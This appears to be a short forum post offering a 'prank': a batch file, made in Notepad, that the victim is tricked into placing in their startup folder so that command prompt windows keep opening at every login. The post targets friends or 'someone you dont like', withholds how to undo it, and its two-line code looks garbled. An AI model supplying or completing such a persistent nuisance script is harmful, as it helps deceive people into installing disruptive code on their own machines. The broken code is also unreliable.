Okay this is a funny prank to do to a friend or someone you dont like.
1. Open notepad and type in
.virus start
.virus start
Then save it as a .bat
2. Send it to your friend and make an excuse for him to put it in his startup file.
3. Then next time he logs on his computer or click the applaction his computer will start comming up with laods of command prompts and you can get rid of it without restaring your computer and if they restart thier comp thn it starts again lmao :P.
I will let you figure out how to get rid of it.
(Just a quick work, this is not a virus just a commond)